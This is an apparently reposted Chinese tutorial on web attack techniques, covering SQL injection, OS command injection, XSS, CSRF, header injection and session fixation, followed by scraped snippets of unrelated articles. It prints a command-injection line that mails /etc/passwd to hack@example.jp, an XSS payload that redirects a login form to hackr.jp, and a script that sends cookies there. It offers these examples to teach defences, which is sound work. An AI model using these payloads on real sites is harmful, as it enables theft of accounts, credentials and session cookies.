• 主动攻击

    • SQL注入攻击
    • OS命令注入攻击
    • 会话劫持
  • 被动攻击
    • XSS攻击
    • CSRF攻击
    • HTTP首部注入攻击
    • 会话固定攻击

一、主动攻击

1.SQL注入攻击(案例

    • 什么是SQL?
      SQL是用来操作关系型数据库管理系统的数据库语言,可进行操作数据或定义数据等。
    • 什么是SQL注入?
      SQL注入是指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击。如果在调用SQL语句的方式上存在疏漏,就有可能执行被恶意注入非法SQL语句。
    • SQL案例:
SELECT * FROM bookTb1 WHERE author = '作者'--' and flag = 1 

SQL语句中的--之后全部视为注释,即and flag = 1就会被忽略。

2.OS命令注入攻击

    • 什么是OS命令注入攻击?
      OS命令注入攻击是指通过Web应用,执行非法的操作系统命令达到攻击的目的。
    • 如何攻击?
      可以从Web应用中通过Shell来调用操作系统命令。如果调用的Shell时存在疏漏,就可以执行插入的非法OS命令。通过OS注入攻击可执行OS上安装的各种程序。
    • 示例:
|/usr /sbin /sendmail ; cat /etc / passwd | mail hack@example.jp
攻击者输入值(; cat /etc / passwd | mail hack@example.jp)中含有分号(;)。这个符号在OS命令中,会被解析为分隔多个执行命令的标记。sendmail命令执行被分隔后,接下去就会执行cat/etc/passwd|mail hack@example.jp这样的命令了,结果,含有Linux账户信息/etc/psswd的文件,就以邮件形式发送给了hack@example.jp。

3.会话劫持(Session Hijack)

会话劫持是指攻击者通过某种手段(例如:XSS获取对方的Cookie得到ID)拿到了用户的会话ID,并非法使用此ID伪装成用户,达到攻击的目的。

  • 获取会话ID的途径
    1. 通过非正规的生成方法推测会话ID;
    2. 通过窃听或XSS攻击盗取会话ID;
    3. 通过会话固定攻击(Session Fixation)强行获取会话ID。

二、被动攻击

1.XSS攻击原理

XSS是什么
跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。XSS是攻击者利用鱼线设置的陷阱触发的被动攻击。例如:动态创建的HTML部分有可能隐藏着安全漏洞。

  • 影响:

    • 利用虚假输入表单骗取用户个人信息。
    • 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
    • 显示伪造的文章或图片。
  • 避免方法:
    • 所有用户输入的地方都不安全。
    • 所有展示用户输入的地方都不安全。
    • js里面不要用eval。
    • 尽量少的使用innerHTML,使用innerText。
  • 攻击案列:
  1. 在表单中设下圈套
http://example.jp/login?ID="><script>var+f=document=>
.getElementById('login');+f.action="http://hackr.jp/pwget";+f.method=>
"get";</script><span+s="

浏览器打开URI后,直观上没有发生任何变化,但设置好的脚本偷偷开始运行了,当用户在表单内输入ID和密码之后,就会直接发送到攻击者的网站(也就是hackr.jp),导致个人登录信息被窃取。

2.对用户Cookie的窃取攻击
恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的Cookie。

<script src = http://hackr.jp/xss.js></script>

该脚本内指定的http://hackr.jp/xss.js文件,即下面这段采用JS编写的代码

var content = escape(document.cookie)
document.write("<img src = http://hackr.jp/?")
document.write(content)
document.write(">")
在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段JavaScript程序,即可访问到该Web应用处域名下的Cookie信息。然后这些信息会发送至攻击者的Web网站(http://havkr.jp),记录在他的登录日志中,结果,攻击者就这样窃取到用户的Cookie信息了。

2.CSRF攻击原理

聊聊CSRF
跨站点请求伪造(CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。

  • 跨站点请求伪造造成的影响:

    • 利用已通过认证的用户权限更新设定信息等。
    • 利用已通过认证的用户权限购买商品。
    • 利用已通过认证的用户权限在留言板上发表言论。
  • anti-csrf-token的方案
    • 服务端在收到路由请求时,生成一个随机数,在渲染请求页面时把随机数埋入页面(一般埋入 form 表单内,<input type="hidden" name="_csrf_token" value="xxxx">)
    • 服务端设置setCookie,把该随机数作为cookie或者session种入用户浏览器
    • 当用户发送 GET 或者 POST 请求时带上_csrf_token参数(对于 Form 表单直接提交即可,因为会自动把当前表单内所有的 input 提交给后台,包括_csrf_token)
    • 后台在接受到请求后解析请求的cookie获取_csrf_token的值,然后和用户请求提交的_csrf_token做个比较,如果相等表示请求是合法的。
  • 需要注意的点:
    • Token 保存在 Session 中。假如 Token 保存在 Cookie 中,用户浏览器开了很多页面。在一些页面 Token 被使用消耗掉后新的Token 会被重新种入,但那些老的 Tab 页面对应的 HTML 里还是老 Token。这会让用户觉得为啥几分钟前打开的页面不能正常提交?
    • 尽量少用 GET。假如攻击者在我们的网站上传了一张图片,用户在加载图片的时候实际上是向攻击者的服务器发送了请求,这个请求会带有referer表示当前图片所在的页面的 url。 而如果使用 GET 方式接口的话这个 URL 就形如:
https://xxxx.com/gift?giftId=aabbcc&_csrf_token=xxxxx

,那相当于攻击者就获取了_csrf_token,短时间内可以使用这个 token 来操作其他 GET 接口。

3.HTTP首部注入攻击

  • 什么是HTTP首部注入攻击?
    HTTP首部注入攻击是指攻击者通过在响应首部字段内插入换行,添加任意响应首部虎皮主体的一种攻击。
  • 什么是HTTP响应截断攻击?
    向首部主体内添加内容的攻击称为HTTP响应截断攻击。
  • HTTP首部注入攻击的影响:
    • 设置任何Cookie信息。
    • 重定向至任意的URL。
    • 显示任意的主体(HTTP响应截断攻击)。

4.会话固定攻击

会话固定攻击强制用户使用攻击者指定的会话ID。

  • 会话固定攻击案例:
    1. 攻击者登录页面
    2. 服务器发向攻击者发布一个会话ID(http://example.com/SID=f5d1234567),该会话ID(未认证)状态。
    3. 将2中的URL作为陷阱,诱导用户前去认证。
    4. 用户认证后,会话ID(用户已认证)状态。
    5. 4之后再用2中的URL访问。

转自:https://www.jianshu.com/p/f2a08107599a

针对Web的攻击技术的更多相关文章

  1. 《图解HTTP》阅读笔记--第十一章针对web的攻击技术

    第十一章.针对WEB的攻击技术 ----<图解HTTP>阅读笔记攻击目标---Web简单的HTTP协议本身并不存在安全性 问题,协议本身并不会成为被攻击的对象,应用HTTP的服务器和客户端 ...

  2. 《图解HTTP》 第11章 web的攻击技术

    11.1 针对Web的攻击技术 简单的HTTP协议本身并不存在安全性问题,所以协议本身几乎不会成为攻击的对象. 11.1.1 HTTP不具备必要的安全功能 11.1.2 在客户端即可篡改请求 在HTT ...

  3. web的攻击技术

    简单的http协议本身并不存在安全性问题,因此技术本身几乎不会成为攻击的对象,应用http协议的服务器和客户端,以及运行在服务器端web应用等资源才是攻击目标,那么怎么攻击,来源于哪里呢 web应用攻 ...

  4. 基于http的追加协议、构建web内容的技术、web的攻击技术(9,10,11)

    第九章 基于http的追加协议 用来提升http的瓶颈,比如Ajax技术,spdy等 第十章 构建web内容的技术 html.css.js等 第十一章 web的攻击技术 比如sql注入攻击.xss等.

  5. 《图解Http》 10,11章:构建Web的技术, Web的攻击技术

    10.2动态HTML 通过调用客户端脚本语言js,实现对web页面的动态改造.利用DOM文档对象模型,指定想发生变化的元素. 10.22 更容易控制的DOM 使用DOM可以将HTML内的元素当作对象操 ...

  6. Web的攻击技术笔记

    HTTP不具备必要的安全功能,就是一个通用的单纯协议机制,比如远程登录时会用到的SSH协议来说,SSH具备协议级别的认证及回话管理等功能,HTTP协议则没有.另外在架设SSH服务方面,任何人都可以轻易 ...

  7. Web攻击技术

    Web攻击技术 1.针对Web的攻击技术 1.1.在客户端即可篡改请求 在Web应用中,从浏览器那接收到的Http的全部内容,都可以在客户端自由地变更.篡改,所以Web应用可能会接收到与预期数据不相同 ...

  8. HTTP通信安全和Web攻击技术

    一.HTTPS,确保Web安全 在HTTP协议中可能存在信息窃听或身份伪装等安全问题,HTTP的不足: 通信使用明文(不加密),内容可能会被窃听  不验证通信方的身份,因此有可能遭遇伪装 无法证明报文 ...

  9. 使用 Rational AppScan 保证 Web 应用的安全性,第 2 部分: 使用 Rational AppScan 应对 Web 应用攻击

    1 当前 Web 安全现状 互联网的发展历史也可以说是攻击与防护不断交织发展的过程.目前,全球因特网用户已达 13.5 亿,用户利用网络进行购物.银行转账支付和各种软件下载,企业用户更是依赖于互联网构 ...

随机推荐

  1. GPS 经纬度

      经纬度地图: http://www.gpsspg.com/maps.htm http://www.gzhatu.com/dingwei.html 经纬度格式转化 http://www.gzhatu ...

  2. JS构造函数中有return

    function foo(name) { this.name = name; return name } console.log(new foo('光何')) function bar(name) { ...

  3. linux内核中的电源管理接口

    1. pm_runtime_enable/pm_runtime_disable 使能/禁止runtime PM,分别对dev->power.disable_depth执行++和--操作,这个变量 ...

  4. 使用hwclock读取rtc中的时间时报错"hwclock: ioctl(RTC_RD_TIME) to /dev/rtc0 to read the time failed: No such device or address"如何处理?

    1. No such device or address 这一句表明当前的板子上没有这样的外设,检查设备树和硬件连接情况 2. 笔者是这样解决的 由于设备树中为rtc所指定的总线与硬件上的连接rtc的 ...

  5. AI项目(CV方向)研发流程

  6. [转]IE、FireFox、Chrome浏览器中关于URL传参中文乱码,解决兼容性问题!

    原文地址:https://cloud.tencent.com/developer/article/1334736 前台用url传值中文,后台用request.getParameter接收参数.在Fir ...

  7. PHP 构造函数和析构函数

    构造函数 __construct ([ mixed $args [, $... ]] ) : void PHP 5 允行开发者在一个类中定义一个方法作为构造函数.具有构造函数的类会在每次创建新对象时先 ...

  8. win cmd 设置代理

    windows: HTTP(S)代理服务器:127.0.0.1:5783 SOCKS代理服务器:127.0.0.1:5789 set 2 set http_proxy=socks5://127.0.0 ...

  9. 反射load,loadfile,LoadFrom区别

    反射加载数据用法 Load Assembly assembly = Assembly.Load("Ruanmou.DB.MySql");//dll名称无后缀 从当前目录加载dll ...

  10. error C1002: 在第 2 遍中编译器的堆空间不足

    error C1002: 在第 2 遍中编译器的堆空间不足 fatal error C1083: Not enough space 打开VS2015 x64 x86 兼容工具命令提示符,在此命令行中再 ...